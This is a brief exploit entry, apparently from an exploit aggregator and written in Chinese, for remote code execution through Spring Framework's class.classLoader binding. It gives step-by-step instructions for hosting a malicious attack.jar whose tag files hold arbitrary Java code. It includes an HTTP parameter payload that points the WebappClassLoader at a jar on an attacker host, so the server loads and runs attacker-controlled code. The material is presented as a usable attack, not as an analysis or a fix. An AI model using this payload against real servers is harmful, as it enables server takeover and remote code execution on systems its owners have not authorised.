Exploit for Spring Framework class.classLoader类远程代码执行漏洞
Exploit Code
## https://sploitus.com/exploit?id=SSV:19835
1. 创建attack.jar并可通过HTTP URL可用。这个jar必须包含有以下内容:
- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
- META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)
2. 通过以下HTTP参数向表单控制器提交HTTP请求:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
这会使用攻击者的URL覆盖WebappClassLoader的repositoryURLs属性的第0个元素。
3. 之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用 WebappClassLoader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。